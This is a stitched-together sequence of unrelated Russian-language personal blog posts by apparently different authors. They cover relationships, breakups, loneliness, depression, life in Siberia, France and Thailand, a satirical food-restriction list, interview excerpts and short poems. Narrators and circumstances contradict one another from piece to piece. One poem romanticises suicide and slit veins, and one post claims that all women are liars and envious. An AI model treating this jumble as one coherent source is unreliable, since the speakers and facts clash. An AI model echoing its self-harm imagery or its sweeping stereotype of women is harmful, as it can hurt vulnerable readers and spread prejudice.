Кажется , Сибирь все таки потихонечку старается довести меня до точки кипения. Неприятные мелочи происходят каждый день, раньше я как-то более спокойно относилась к этому, но сейчас все стало вообще как то ну очень весело. Например, сегодня на входе в магазин угораздило меня наступить на ледышку, и эта самая ледышка пробила мне подошву насквозь (к слову сказать, подошва на сапогах весьма и весьма толстая). Вот че за погода весь ноябрь? Никогда к этому не привыкну. А с температурными скачками вообще трудно оставаться в здравом уме - вчера чуть ли не -30, а сегодня 0. Давление у меня скачет аки ковбой :D Очень хотелось после НГ рвануть домой дней на 10 (тем более, что регистрацию продлили до 21 января, осталось только уведомление и договор о трудоустройстве подать, но на это еще месяц), но из-за того, что с первым заказом на фрилансе не пошло дело (не ведитесь на жлобов и на заказчиков из Нигерии. Это просто боль кромешная), я, видимо, остаюсь здесь. Да и вообще, представляя снова 5 дней на поезде (пусть в сумме, но все же) немножко прихожу в ужас. :D В плане семейного быта все хорошо, и уживаемся, спорим конечно, но ничего смертельного. Единственное, убивает собственная беспомощность. Я не из тех девушек, которые могут спокойно сидеть у парня на шее, да, мужчины в большей степени обеспечивают семью, но сидеть без дела: (Это не мое… Чую, близка, близка зимняя депрессия. Частенько проскальзывает в разговоре возможность моего возвращения домой, чтоб Женя еще скопил денег и мы смогли съехаться в более нормальном месте, где есть хоть какая то работа (Омск-это просто боль в плане работы, мне кажется, тут даже не в том, что у меня нет гражданства, проблема), но опять расставаться, возвращаться к родителям… В общем, я понятия не имею, что делать. Просыпаюсь каждое утро и думаю, что вот произойдет что-то, и все решится. Но как то чето ничего не решается :DDD

Не хватает мне моих людей и моих родных мест, ох как не хватает.

— а я ненавижу весь мир каждый день и каждую минуту
и люблю только отдельных людей
вроде тебя
просто за то, что я ненавижу весь мир, но забываю об этом с тобой

Мужчины всегда возвращаются. Такая у них натура: добиться любви, потерять интерес, бросить, а потом вернуться. Причем, вернуться они хотят тогда, когда тебе не интересны, когда в жизни полный порядок….

Так хочется уже поскорее встретить достойного, смешного, милого, самодостаточного и очень обаятельного своего человека. Своего! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!и быть ему самой САМОЙ лучшей девушкой и женой

а это я к тому, что как обычно погружаясь в "размышлизмы", сегодняшним днем я прогоняла в памяти истории моей жизни. Странички, а порой и целые главы, были посвящены многоим людям, воспоминания о них навеевают улицы, дворы, песни.

И я задумалась, ведь со многими я могу пересечься в обычной жизни, порой это даже и происходит. И если вдруг кто-то из них спросит меня, как моя жизнь сейчас? Ведь этот вопрос мужчины зачастую задают для того чтобы потешить свое самолюбие, в надежде на мои печали и разочарования. В надежде, что вдруг я посмотрю в глаза и скажу что-то вроде "никого кроме Тебя.." и отведу взгляд.

Представив эту забавную картину я про себя рассмеялась. Возможно, раньше я влюблялась. Но сейчас… Только сейчас я понимаю цену любви. И предствляю удивление людей, когда я сказала бы "никого кроме Него"

И никогда никого и не было) ведь я так сильно Люблю своего Мужа, что даже здоровый скептецизм со стороны людей не потушит моих горящих глаз, моей гордости за Него. Готовность отдать за Него и Его счастье абсолютно все некопобелима и неизменна.

Стать атеисткой в любви, но вернуться в веру благодаря одному человеку. Я хочу оберегать свое чувство от посторонних, но порой я хочу кричать об этом, чтобы все знали, что жизни До не было НИКОГДА.

а унылость своих обычных постов разбавлю лишь одним. как бы я не привыкла по жизни ныть и стенать на свои беды, все это минутные слабости. ведь когда я счастлива, у меня нет времени на глупые посты. (поэтому то я так редко пишу :)

ДА СУКА, почему я не могу иногда просто взять и промолчать? ПОЧЕМУ Я СПИЗДАНУ КАКУЮ-НИБУДЬ ХУЙНЮ, ВСЁ ИСПОРЧУ, А ПОТОМ БУДУ ПЕРЕЖИВАТЬ ЗА ЭТО?? Суть одна: умей закрывать рот вовремя, блять.

1. Cондеро: Осознание того, что каждый прохожий имеет настолько же яркую и сложную жизнь, как твоя.
2. Опия: Неосознанное желание посмотреть кому-нибудь в глаза, что одновременно может чувствоваться волнительно и уязвимо.
3. Монакопсис: Только зарождающееся, но сильное чувство того, что ты не на своем месте.
4. Инумо: Горечь прибывания в будущем, видеть как сложилась жизнь и не быть способным сказать это себе прошлому.
5. Великор: Странная тоска по старым книжным магазинам.
6. Рубатосис: Тревожное восприятие своего собственного сердцебиения
7. Кенопсия: Жуть заброшенной атмосферы в месте, где обычно полно людей, а сейчас оно покинутое и тихое.
8. Мауэрбауэрторихкейдж: Необъяснимое желание оттолкнуть людей, даже если это твои близкие друзья, которых ты очень любишь.
9. Джуска: Гипотетический разговор в твоем воображении, который ты не прекращаешь повторяться своей голове.
10. Крайсализм: Спокойствие младенца в утробе, когда находишься в бурю в помещении.
11. Вемодален: То чувство, когда фотографируешь удивительно красивое место, но понимаешь, что существуют тысячи таких же фотографий.
12. Анекдох: Беседа, в которой все говорят, но никто не слушает.
13. Элипсизм: Печаль от того, что ты никогда не сможешь выяснить то, как развернется история.
14. Куебико: Состояние истощения из-за актов бесчувственного насилия.
15. Лакеизм: Желание быть в катастрофе - выжить после падения самолета, потерять все при пожаре.
16. Эксулансис: Тенденция отказываться от разговора об опыте, потому что люди, не испытавшие этого, не могут целиком тебя понять.
17. Адронитис: Разочарование из-за количества времени, которое уходит на то, чтобы узнать человека.
18. Руккехунхуре: Чувство возвращения домой после погружающей поездки, чтобы осознать, что она исчезает из сознания.
19. Н одус Толленс: Осознание того, что сюжет твоей жизни больше не имеет смысла для тебя.
20. Онизм: Разочарование от бытия только в одном теле, которое может находиться только в одном месте в одно время.
21. Либеросис: Желание меньше заботиться о вещах.
22. Альцщмертс: Усталость от старых проблем, которые всегда у тебя были - те же скучные недостатки и тревоги, которые грызли тебя годами.
23. Оккиолизм: Осознание своих крошечных перспектив.

На ночь спиздила у соседки обогреватель, ибо невыносимо холодно даже под одеялом. Ее все равно нет, поэтому она не против. Суть в том, что даже с обогревателем на максимум теплее не становится. И это еще ноябрь. Что я в феврале делать буду?

Всю ночь пытались с Р в который раз выяснить, что за херня между нами. В 3 ночи, например, я твердо понимала, что между нами больше ничего не будет. А в 6 утра он называл уже своей маленькой, и мне хотелось снова его обнять, хотелось снова заснуть рядом. А тем временем в кафе, думают, что Т мой парень. Приезжает почти каждый день. И мне стремно за это потому, что там знают о том, что люблю Р.. И все такие бля подкалывают, что я ебу мозги двум парням. Попросила Т не приезжать, он клинится "тебе, говорит, не все равно, что о тебе думают?!". Честно признаться, я и сама не хочу его лишний раз видеть потому, что хочу его до безумия. Он один знает и понимает чего и как я хочу. Меня всю трясет, когда он рядом. Из-за этого я стала сомневаться в своих чувствах к Р. Я всегда думала о том, что если любишь на других и смотреть не хочется. Нихуяшеньки… Моя блядская натура меня до добра не доведет.

и все же теперь как-то… спокойнее, что ли? я не злюсь, что он "онлайн", но не пишет. к слову, он стал очень мало времени проводить в этом "онлайн". я не истерю, что мои сообщения остаются без ответа. ну, я же их не посылаю, нет желания спрашивать "куда пропал?"я не жду его шага-сообщения, звонка или может быть даже приезда. когда - то, мы разошлись на целый год, даже больше… он написал сам. сейчас я понимаю, что ждать такого чуда не придётся - мотивация теперь у него не та. хотя, зная его…//я наткнулась на его фотографию и внутри все сжалось… все это знакомо, просто хочется, чтобы это быстро прошло, отболело, надежда умерла и скучать перестала. чтобы наступило то мое абсолютное одиночество без лишних примесей эмоций и чувств.

Немного из давнего автобиографического повествования.

… – К ним мы сходим позже. А пока нужно помыть холодильник! – сказала Лена, решительно взяв в руки тряпку.

Алина вдруг вздрогнула и кинулась к Лене.

– Подожди! – воскликнула она, выхватывая тряпку. Развернув её, девочка обнаружила, что когда-то тряпка была зелёной футболкой большого размера.

– Это чья? – спросила она.

– Если её нам дал Женин папа, значит, его или Женина, - следуя логике, предположила я.

– Да? – воодушевилась Алина. Распрямив футболку, она несколько секунд разглядывала её, а потом вдруг резко сжала в объятьях. – Это его футболка! Я обязательно постираю её и буду в ней спать!

Я в ужасе уставилась на девочку. Моя подруга сидела на полу в одном халате и страстно обнимала грязную половую тряпку как частичку своего любимого. Причём тот факт, что футболка когда-то принадлежала Жене, не установлен. Не это ли называется любовью?..

Ты работаешь над Одиссеей, циклом взаимосвязанных видео, которые иллюстрируют альбом. Нам ждать ещё эпизодов?

Она не завершена. Мы с Винсом решили сделать нечто, что можно было бы показать как единый законченный проект. Взять за основу события, которые действительно имели место, и воссоздать их через наш магический реализм. С моей стороны это стало попыткой признать и смириться с периодом смятения. Это как экзорцизм, ты находишь способ разобраться в том, что это было. Идея в том, чтобы смотреть эпизоды один за другим, иначе можно остаться в замешательстве. [Смеётся] Особенно если сразу посмотреть «Delilah», вообще невозможно понять, что происходит.

Забавно, что ты упомянула экзорцизм, потому что в видео «Delilah» абсолютно точно есть его элементы…

Да. И в конце я оказываюсь лицом к лицу с собой, но это не я. Это видео было о… Оно было о последнем уровне, «круге». Мы вдохновлялись «Инферно» Данте, движением по всем уровням в попытке избавления. «Delilah» — последний момент противоборства, соблазна, ты сражаешься со своими демонами в этом странном отеле, и они нападают на тебя, говоря, что ты здесь чужая, тебе здесь не место, ты должна уйти, и ты отпускаешь ту часть себя, которую притягивает безысходность и хаос. Думаю, в этом была главная идея… Допустить, что, возможно, в какие-то периоды я не была собой. Освободиться от чувства вины или попыток найти виновных. Моя сестра позвонила мне и сказала: «Тебе так везет, что ты — это ты, потому что по твоим клипам плачет психиатр, а люди всё равно их смотрят».

Стою я сегодня, пью кофе на нашей ресторанной кухне и тут сзади меня кто-то достаточно сильно ударяет по голове. Оборачиваюсь - наш шеф-повар. Говорю: "Эй, Сириль, это слишком". Он убегает, смеется. Что за игры у этих 35летних мужиков?

Сегодня вечером мы не работаем, а значит расскажу вам, что было в ту ночь, когда я написала, что разочаровалась в французах. Как видите, не мальчик уже - 35 лет все-таки. Он как-то отвез меня и еще одну девушку в горы, к водопаду, может вы видели в инстаграме, если подписаны на меня. Затем отвез в Ниццу, мы болтали и о личной жизни, как оказалось, у него сейчас никого нет. Обменялись ссылками на фэйсбук и он начал мне писать. И вот однажды ночью его прорвало на какие-то признания: и что я ему нравлюсь очень, и что я вся такая обаятельная, и что хочет узнать меня получше. Потом пишет в час ночи: "Если я сейчас приду, откроешь мне?" Я сказала, что лучше прогуляемся. Ок, встретились на нашей парковке, но было очень холодно, пошли к нему, чтобы он оделся. В итоге решили остаться. Он молчал все время, постоянно я что-нибудь спрашивала, а потом мне надоело:

"Так и будешь молчать?" Он ответил: "Закрой глаза". Всем понятно ведь, что за этим следует? Я отказалась. Взял меня за руку, хрен с ним, думаю. Повторил просьбу, я спросила зачем, он: "Ты знаешь зачем. Я тебя люблю". Тут меня прорвало на смех: "Ты меня не знаешь даже, как и я тебя".

Говорил, что я не даю ему шанса. Я: "Шанса для чего?" Ответ был еще смешнее: "Стать твоим парнем". Хах, я через две недели буду в Москве, зачем? "Я думаю, что ты та самая". Честно отвечаю, что нахожу его странным и даже сумасшедшим. "Да, это всё из-за тебя. Я ведь могу приехать к тебе, в Москву, если ты найдешь время для меня".

Его прошлые отношения - девушка из Бангкока, к которой он даже пытался переехать, но, пожив вместе месяц в Тайланде, они расстались. Понимаю, что он может говорить про Москву серьезно, идиот. Встает с дивана, берет меня за руки, чтобы я встала, поднимает меня, закидывая мои ноги себе за спину, таким образом мы оказываемся лицом к лицу и очень близко. Я смеюсь, потому что не верю его словам о том, что он не хочет, чтобы я уезжала. Он пытается меня поцеловать, я отворачиваюсь. Не теряется - целует в щеку и опускается к шее. Я же прошу поставить меня на пол, немного начинаю вырываться. Но куда там, он силен (видели бы вы его накачанные руки хаха), продолжает целовать в шею, запускает руки под свитер, обнимает за голую спину. Я все-таки вырываюсь и говорю, что лучше пойду-ка я к себе. Отвечает: "Я думал, что нравлюсь тебе. Но если ты не хочешь.. Значит не хочешь, хорошо. Какая ты сложная". "Я не сложная, я просто тебе не верю. Должно быть весело - каждый месяц/два - новая русская стажерка". Оскорбляется: "Нет, ты не права. У меня ничего не было с ними, можешь спросить у других". Отвечаю, что не имеет смысла, через пять минут одеваюсь и ухожу, он не провожает. Да, тут смысла нет провожать, мы оба живем на территории отеля, но все же. Думаю- больше не будет писать. И оказываюсь права- ни слова.

На следующий день на работе вижу его и начинаю смеяться, он тоже. Общаемся чисто на работе и по работе. Ну, думаю, понятно все с тобой, что тебе нужно было. Скинула его фото из фэйсбука Аньке, на что она сказала: "О, Лен, с таким-то можно было бы хах". И вот сегодня он лупит меня по голове. Просто даже не знаю что сказать еще. Скажите вы что-нибудь.

Вроде сейчас ничего плохого не происходит, но я опять не хочу ни с кем общаться.
Хоть вначале недели я думала, что скоро конец нашим отношениям, то сейчас даже и мысли об этом нет. Я очень скучаю по нему. Вроде не виделись всего лишь неделю, но из-за того, что почти всю неделю не общались, кажется, что прошло недели три. И фиг знает, когда наша встреча состоится. Я так устала. Просто хочется лежать в его объятьях и ни о чём не думать. Чувствовать его тело, его тепло, его поцелуи, смотреть в его глаза и слышать его голос. Как же он правильно вчера сказал: "я хочу тебя видеть, когда захочу, а не когда получается". А как же я этого хочу. Нам ещё осталось 216 дней.

Первый снег. Жаль, что ты не со мной. Я наконец-то поняла, что стала более самодостаточной. Мне больше не нужны одноразовые мужчины от которых мне нужны были только приятные слова, звонки и смски. Сейчас я могу справиться и прожить без этого. Сейчас меня воодушевляет, радует совсем другое. Меня греет моя любовь к тебе, мне приносит счастье первый снег, меня радуют и умиляют улыбки, смех и баловство с Кирой(ей год и 4 месяца).

даже удивительно от той звенящей тишины и пустоты в моей жизни.
и хватит уже отмахиваться и сваливать всё на депрессию, ведь вчера я перенесла встречу с врачом, теперь я не имею права жаловаться в принципе.

становлюсь домашним затворником.
только и делаю, что сплю и ем
чем больше выходных, тем больше превращаешься в биологическую неразумную массу, живущую только по примитивным инстинктам.

не люблю, ничему не радуюсь, не сгораю и самое ужасное - что меня это устраивает

Парень тут один (с которыми типа мутили какое-то время). Ну вот смысл добиваться со мной встречи, при чем упорно, если есть девушка. Слать там что-то мимишное.Хотя я холодная как айсберг в океане :D А вчера такой мол давай увидимся, а потом я поеду на каток с ДРУГОМ. Ага, конечно. Сегодня вон выставил фотку с бабой. Пиздабол.))

И меня это так бесит почему-то.

Буду теперь еще холоднее, чем айсберг в океане :D Если конечно он напишет что-либо, ибо я не буду.

Я кажется, только что поняла, от чего мне действительно так тяжело переживать расставания. Дело в том, что каждый раз оба раза я теряла самого лучшего в мире друга. Да, у меня есть подруги, даже те, которых можно назвать "лучшими". Но это другое совсем.

Парень все равно как-то ближе. С ним смешнее шутки, красивее музыка, интереснее разговоры. Серьезно, лучше чем эти два придурка меня не знает никто. И частичка каждого всегда будет в моей душе сколько бы гадости не было с ними связано.

Наконец, добравшись до части шкафа с зимней верхней одеждой я обнаружила: шубку (искусственную, разумеется), 2 парки, 4 пуховых пальто, 8 курток и одну горнолыжную. К чему я веду.. (Крайне расстроил один фактор- абсолютно всё стало мне большим). Мне всё равно не хватает ещё какой-нибудь куртки/пальто. Хочу что-нибудь "на выход"/классическое/девчачье. Но искать желания нет.. Я так задолбалась искать обувь для камуфляжной парки за последние дни:/ Но, к счстью, нашла идеальный вариант. Даже два..) Во вторник жду доставку. Хреново и тяжело быть бабой. И, наверное, сколько бы у тебя не было каких-либо вещей, денег и т.д- всё равно всегда чего-то будет не хватать.

Не страшно.

Мне уже не страшно терять людей.Я уже столько теряла раз и всякий раз, когда вы пытаетесь меня задеть, меня ни капли не затрагивает в этот момент вы смотритесь очень смешными.

Тяжело, Тяжело


Всякий раз ловлю себя на мысли, что я слишком привыкла к человеческому общению и теплу.Пусть я серая, холодная точка, но я привыкла к общению с людьми. Пусть я навязываюсь, но свою дол я получаю, просто ответы, но они есть.

Я должна заставить себя отвыкнуть от этого, я должна. я должна перейти через долю мучений, я должна, должна. Но как… я ведь сама это и хочу и не хочу. Борьба 50%, сложная борьба. Ведь что я получу? двойное одиночество и независимость. Это все что я получу. Но раз я думаю над этим, значит это все таки чего-то стоит? значит это мне нужно. Нужно.

Про еду

Мясо есть нельзя. В него колют всякие гормоны для увеличения веса, а зачем мне гормоны для увеличения веса? Рыбу тоже нельзя. Она накапливает. Не знаю что, но накапливает. Еще в нее колют гормоны для увеличения фертильности. А у меня и свою некуда девать. Зачем мне еще рыбья?

Помидоры нельзя – они пасленовые. Не знаю, почему, но все говорят, что вредно. Баклажаны и перцы тоже. Фрукты и ягоды нельзя – в них сахар и диабет. Особенно, нельзя вечером. За ночь весь вечерний сахар превратится в попу. А зачем мне еще попа, у меня-то и своя.. Картошку нельзя, там крахмал. В рисе тоже.

Макароны тоже нельзя – там крахмал и глютен. А глютен – это будущий сахар, который будущая попа. Масло нельзя – ни оливковое, ни сливочное, ни подсолнечное. Это жир. А сливочное – еще и холестерин. Хлеб нельзя, там дрожжи. Пиво тоже. Не знаю, почему, но нельзя, чтобы дрожжи внутри тебя бродили. Яйца – жир и холестерин. Молоко – жир и гормоны для увеличения веса, которые вкололи в корову. И вообще оно предназначено для того, чтобы теленок быстрее набирал вес и становился коровой. А я не хочу коровой.

Соки нельзя – это то же самое, что фрукты и ягоды, но без полезной клетчатки. В капусте – и обычной, и цветной, и брокколи – вещества, препятствующие усвоению йода. А у городских жительниц и так кранты с щитовидками. Плохая щитовидка дает толстую попу. Капусту нельзя. В шпинате – щавелевая кислота, которая вредит почкам. Плохие почки - отеки - лишний вес. Нет-нет-нет, никакого шпината.

Огурцы! Буду есть огурцы. Про огурцы я не знаю ничего плохого.

Мне сегодня хочется сказать несколько слов именно о воспоминаниях. Воспоминания - действительно чудесная вещь. Порой в самые тяжелые и мрачные периоды жизни, лишь одно приятное воспоминание может осветить его. Многие факторы могут вызвать определенные воспоминания: запах, голос, фраза, жест, походка, музыка и много других вещей. Но мне всегда было интересно, почему плохие воспоминания мы запоминаем в деталях и помним через несколько лет спустя, а вот хорошие понемногу стираются из нашей памяти?

Я как-то зашла на свой старый блог и начала перечитывать личные записи, и поняла, что многих деталей не помню. Хотя некоторые события происходили буквально таки несколько лет тому назад. Мне бы хотелось забыть многие плохие воспоминания, и вспомнить хорошие в мельчайших деталях. Да, все происходящее дает нам определенный опыт, в том числе и плохое. Это делает нас сильнее и мудрее. Но факт остается фактом.

Я всегда выбираю какой информацией я могу и мне стоит поделиться, а о чем стоит умолчать. Это касается не только блога, но и знакомства с новыми людьми. Но, я в очередной раз поняла, что вернуться сюда и записывать происходящее в моей жизни было более, чем правильно. В некоторой степени мы используем это место, чтобы избавиться от негатива в себе и наполнить себя лишь позитивом. Но блог - это чудесное место для того, чтобы оставить здесь прекрасные воспоминания. Они могут забыться у нас в голове, возможно не совсем, но некоторые детали уж точно. Но написанное слово не забудется. И всегда ведь приятно возобновить в памяти определенные моменты в памяти, которые несомненно вызывают улыбку на лице.

Кто самый большой неудачник во вселенной? Я! Потому что, кто сломал ногу в середине своего празднования дня рождения - я!

моя муза вскрыла вены под треки "картонки",
но вино дает мне веру в то, что я что-то могу,
а потом утро. я слышу чужие стоны.
стою в воде по колено на берегу.

рассвет цвета сладкого джема,
хрущевки хотят, чтобы я умерла,
у меня вот такая дилемма:
умереть или пить из горла.

Болеющая я, весьма сентиментальна. Почти прослезилась над фильмом "ловушка для родителей", когда одна из девочек спустя столько лет увидела свою маму, а другая своего папу. Ребзя, у кого полная и любящая семья, цените это. P.S Сегодня день матери и мама прислала мне сообщение о том, что её поздравили. Может я и неправа, но считаю этот праздник странным, я сказала ей, что она знает как много значит для меня и для сестры и что не нужен день раз в году, что бы об этом вдруг вспоминать.

Вы так переживаете, что я вам напишу.


Переживать настолько, что всякий раз, как я появляюсь "онлайн" вы выходите. Глупцы, я не буду вас доставать, я буду молчать столько сколько вам будет угодно, я всегда рядом и готова поговорить с вам в ближайшее время, но вы должны помнить, что все проходит и когда-то, когда вам будет нужно я перестану вам отвечать, я перестану вас поддерживать. Не станет вашей поддержки и платочка для соплей. А знаете почему? - Потому что я это время я заново научусь глотать свое одиночество и жить с ним. Я заново научусь бродить одна, я всему научусь заново.

Когда-то я заставила закопать в землю, то, что молчать это хорошо и жить одной совершенно не сложно, я понимала, что поддержать и понадеется мне можно было только на саму себя.И я закопала это, потому что думала, что стала нужной народу. А как оказалось, мне просто отравляли жизнь.
Людям нравится унижать других людей, но они получают "бумеранг" и когда это приходит к ним, когда они сталкиваются со всем этим. Они бегут за помощью, а бежать не к кому.

я постоянно злая на весь свет и, наверное, так и должно быть, ведь лет до 14 я не злилась вообще, ни на кого, никогда, только на себя, а если и чувствовала слабые приливы раздражения, то так себя за них упрекала, что все это успешно подавлялось и сублимировалось. с 15 лет, вернее, окончательно с 16, я сублимировать перестала. а с 19 из меня полились такие потоки ярости, ненависти и жажды мести, что в 20 мне уже страшно, что они не закончатся никогда, и я до конца жизни буду злой, высокомерной и колючей. лермонтов писал: "и я весь мир возненавидел, чтобы тебя любить сильней", примерно так выходит c моим отношением к себе же; чтобы вернуть себе себя и попытаться себя полюбить, мне пришлось отвергнуть очень многих. они свергнуты с престола, я почти воздвигнута, но так ведь нельзя. я чувствую себя загнанным зверем в клетке 24/7, всегда обороняющаяся, всегда готовая напасть. don't cage me, i'm a wild animal, etc, etc. не могу найти середины между тем, чтобы ненавидеть себя за чужое неприятие, и тем, чтобы жестоко отсекать всех, кто сделает хоть что-то, что, по моему мнению, непосредственно угрожает мне, всему моему и моей личности. но разве я не права? я все это строила в таких муках, в таких страданиях отвоевывала, что имею право на то, чтобы хоть кто-то полюбовался моими владениями, а не стал их топтать и чернить.

Умейте встать на позицию другого человека и понять, что нужно ему, а не вам. С тем, кто сумеет это сделать, будет весь мир.

но на самом деле я влюбилась в чувака без возраста, в трусливого лютеранца, с сексуальным немецким произношением, с произношением моей фамилии. чёрд.
он трусливый. книга "просто вы ему не нравитесь"- про него.

я устала от трусливых. я устала от тех, кто просто боится.
от друзей которые говорят " она не простая. очень не простая девочка" или что-то вроде " тебе придется потратить кучу времени, чтобы заслужить ее доверие"

ну спасибочки.

Растянула спину. Не знаю, как и где, но дико болит. Вчера еще был концерт Окси, где я стояла 2 часа, без возможности даже руку поднять. От этого все смотрели на меня, как на идиотку - мол, на концерт пришла и даже не подпеваешь. Сил не было подпевать.

Затем поехала на концерт моего знакомого, который барабанит в группе "Виски Пигмея Хотри". Насчет названия - не знаю, откуда оно. Спрошу потом. Отыграли они замечательно. Вася (знакомый) все время тусил с нами, что странно, ибо

раньше мы с ним вообще не общались. Позвал меня в кино и на премьеру

"Звездных войн".

Теперь это все выглядит еще более подозрительно.

Кстати, пить я вчера начала еще в 12 часов дня и пила почти весь день по чуть-чуть, к ночи окозавшись в дровишки. Отметила сдачу сессии. Надо завязывать.

Интересно, живя в одном городе, смогу ли я тебя еще случайно встретить?

Хочется тебя увидеть, посмотреть в глаза и понять, что все действительно так, как и должно быть.

Я знаю, что тебе пофигу, но что мне сделать, если я скучаю по тебе.

Блин, почему я так быстро к людям привязываюсь? Мне надо заехать камнем по голове, чтоб я перестала думать о тебе!

Время истекает неумолимо, а в свободные его промежутки задаюсь бесконечным, так и не решенным в течение почти 5-ти месяцев вопросом: "Когда уже наконец какая-нибудь часть моего мозга твердо решит, что тот, кто со мной был все это время, на самом деле мне и нужен в качестве спутника жизни?"

Все меняется…

Меняется жизнь, люди…

И вроде бы все хорошо, но иногда так не хватает старого…той жизни и тех людей..

Короче говоря, всё не так радужно, как хотелось. Два исхода. Либо я заставляю себя забить и разлюблю его, либо его маленький огонь чувств внутри вспыхнет снова. Хотя он ничего не хочет. Просто сказал, что будет рядом, если мне плохо без него. Это унизительно. И я не знаю, стоит ли оно того. Но снова выть и лезть на стену я не хочу.

gifs by x перевод х

Себастьян о Баки в фильме "Первый мститель: Противостояние" х

— Когда мы увидим его после «Другой войны», он изучает себя. Мы обнаруживаем его, как вы видели в конце «Другой войны», в музее, он начинает собирать кусочки вместе. Начинает узнавать о своем прошлом. Где он был, что он делал. И, как вы увидите в следующем фильме, это будет стоить огромной цены: эмоциональной, умственной и э-э… Да, для него нелегко узнать о том, что он делал.

— Зимний Солдат, возможно, ответственен за смерть родителей
Тони Старка
. Будет ли это проблемой для него и Тони?

— Нуу, на самом деле, всё, что я могу сказать… он является
проблемой для многих людей!

— Каковы отношения между ним и Гидрой?

— Гидра, в некоторым смысле, ответственна за то, что он все еще жив. Всё,
что случилось до фильма «Другая война»…будет множество вещей,
которые внесут ясность в «Противостоянии» о том, что с ним случилось.
Своего рода устройство этих отношений, которые у него будут с Гидрой
всегда, так или иначе. Потому что, в некотором смысле, они ему как
вторая семья. Если это имеет смысл."

развеселила реакция Себа на вопрос "ответственен ли Баки за смерть родителей Старка" :))

— Тебе действительно настолько похуй на него?

— Нет, я просто делаю вид чтобы он поверил. Иногда это лучший способ чтобы человек тебя оставил.

Женская дружба — продукт скоропортящийся. Говоря иначе, её не существует. Все женщины друг другу лгут, завидуют и ничего полезного не извлекают. Все эти интрижки быстро заканчиваются, когда общение перестает быть выгодным этим особам. Не верьте женщинам, которые говорят, что они подруги. Стоит копнуть чуть глубже и сразу выяснится, что они друг от друга утаивают, особенно истинное мнение о другой. Их связывают только обстоятельства и ничего более. На самом деле, им друг на друга плевать. У меня по этой причине никогда толком не складывались никакие отношения с женщинами: я их не понимаю. Говорят одно, делают другое. Когда нужно быстро что-то сделать, тормозят. Когда нужно быть честной, хитрят. Говорят друг про друга гадости за спиной, улыбаются в лицо. Имитация бурной радости как симптом лицемерия головного мозга. Наверное, я должна была родиться мужчиной, потому что, будучи женщиной, я не понимаю женщин.

Не вглядывайся в темноту - узришь

Глаза того, кто долго ждёт

Лицо чьё смотрит как ты спишь

Не вслушивайся в тишину; услышь

Лишь

Как кошка урчит во сне.

Ничего нет в тишине

Я лгу или лгут мне?

Сон всё сложнее поймать сквозь страх

Сердце бьется в груди, в голове, в руках и ногах.

зашла на viewy и вспомнила свои…13 лет? как давно было, и как сейчас тут никого и не осталось.
всеми средствами браузера заблочила рекламу и вуаля, почти как в старые времена - без рекламы. я всегда вовремя :D

но рекламист, на которого я учусь, явно негодует. кто делает баннерную рекламу - горите. мур :)

Ты был и есть мой самый любимый цветок, но я для тебя им не являлась. Ты снова с ней.Все моё Я хочет вернуть тебя и быть счастливо, хочет забыть. Девочка Женя пытается бороться с этим.

Скоро начнется новый день, новая жизнь и придет новая я. Нужно решить, что дальше будет с этой оболочкой. Нужно решить, что дальше будет со мной.

Все шаги меняют нашу жизнь.. Вопрос лишь в том, куда шагать.Сейчас я знаю лишь одно: завтра мы пойдем в разные стороны.

Рубрика "За кого меня принимают в этой стране?!" продолжается. (Кстати, название читать голосом сэра Генри из советской экранизации "Собаки Баскервилей") Это уже другой человек, с которым у нас была милейшая беседа за чашкой кофе. Итак… вы готовы? Думаю, и так понятно, что сейчас будет что-то из ряда вон? Говорили мы, говорили, и я поделилась своими планами на ближайшее будущее. Мол, хочу вот в Берлин съездить - с подругой повидаться да столицу посмотреть. Он: "Да, Берлин красивый и очень интересный город. Кстати, ты знаешь, вот раньше Германия была разделена на две части: ГДР и ФРГ". Я так опешила, что даже не нашлась, что ответить. Но моё лицо, надо полагать, выражало что-то вроде: "Да лаааадно, серьёзно, что ли?!" А он тем временем продолжал: "Да, и столицей западной Германии был Бонн, а восточной - Берлин". Тут ко мне вернулся дар речи и я возмутилась: "Зачем ты мне такие элементарные вещи рассказываешь? Думаешь, я об этом никогда не слышала?!" Народ, вот это было удивление! "Ты это знаешь?! Откуда?!" Ах да, я ж забыла, когда говоришь, что ты из Украины, то для некоторых это все равно, что "я жила в лесу и молилась колесу". Что дальше, начнут мне объяснять, что солнце встаёт на востоке, а садится на западе? Что вода мокрая? Что Земля вокруг Солнца вертится?

Что-то о путешествиях, которые меняю тебя. Меняют тебя хотя бы отчасти.

Здесь, в Тае, земля и дерево наблюдали историю. Здесь море и океан подарили людям незабываемый морской мир. Здесь люди подарили мне самые добрые отголоски в глубине сердца. А палящее солнце убило мою бледную кожу.

От лежака на белом, как твоя простынь, песке уже исходит неприятный запах. Сколько людей успело полежать на нём за последние сто лет? Лучше сразу на песок и ближе к морю, такому солёному, способному продезинфицировать сразу все маленькие раны на теле. А те, что в душе можно, пожалуйста?

Море обволакивает сухие пяты, захождишь глубже и волна уже бьёт по худым коленям. Ты еле держишься, в первые наблюдая, какой сильной может быть эта стихия: некоторые люди вокруг так и не смогли устоять на ногах. Ни в море, ни в жизни.

За горизонтом протекает наша юность.

Пение брюнета под гитару поздним вечером. Звук стекла и треск жаренных на огне каштанов. Запах манговых корок тяжёлым облаком окутал ночь на четверг. У моей любви на эти две недели винный цвет глаз. Неоновые вывески освещают мои по-гречески прямые черты лица, в котором читают все, как я скучаю.

Напишу на мокром песке, что сегодня между нами ничего не кончено.

Деревья в глубоких джунглях – потерянные души когда-то счастливых детей, падших в отчаяние. Мои выгоревшие волосы цвета шампанского пропахли османтусом, а в руке стакан синего вина, смешанного с горем солнечных лучей этой ночи, и на ресторанном столике догорающая свеча цвета свежей мякоти апельсина.

Расстояние убивает друзей и абсолютно всё становится неважным.

Я сложу все свои воспоминания в коробку аккуратной стопочкой одним утром, когда мне надоест встречать вечера одной. Встречать вечера не с тобой. Я крепко обниму тебя под навесом золотых гирлянд какой-нибудь ночи, и утро не наступит, пока мы этого не захотим. Первый снег отразится мурашками на твоих плечах и горячим глинтвейном диковинного цвета выцветших лучей солнца.

А мне лишь хочется не отрывать от твоей молочной кожи взгляда, когда горит мой Рим, а вместе с ним я.

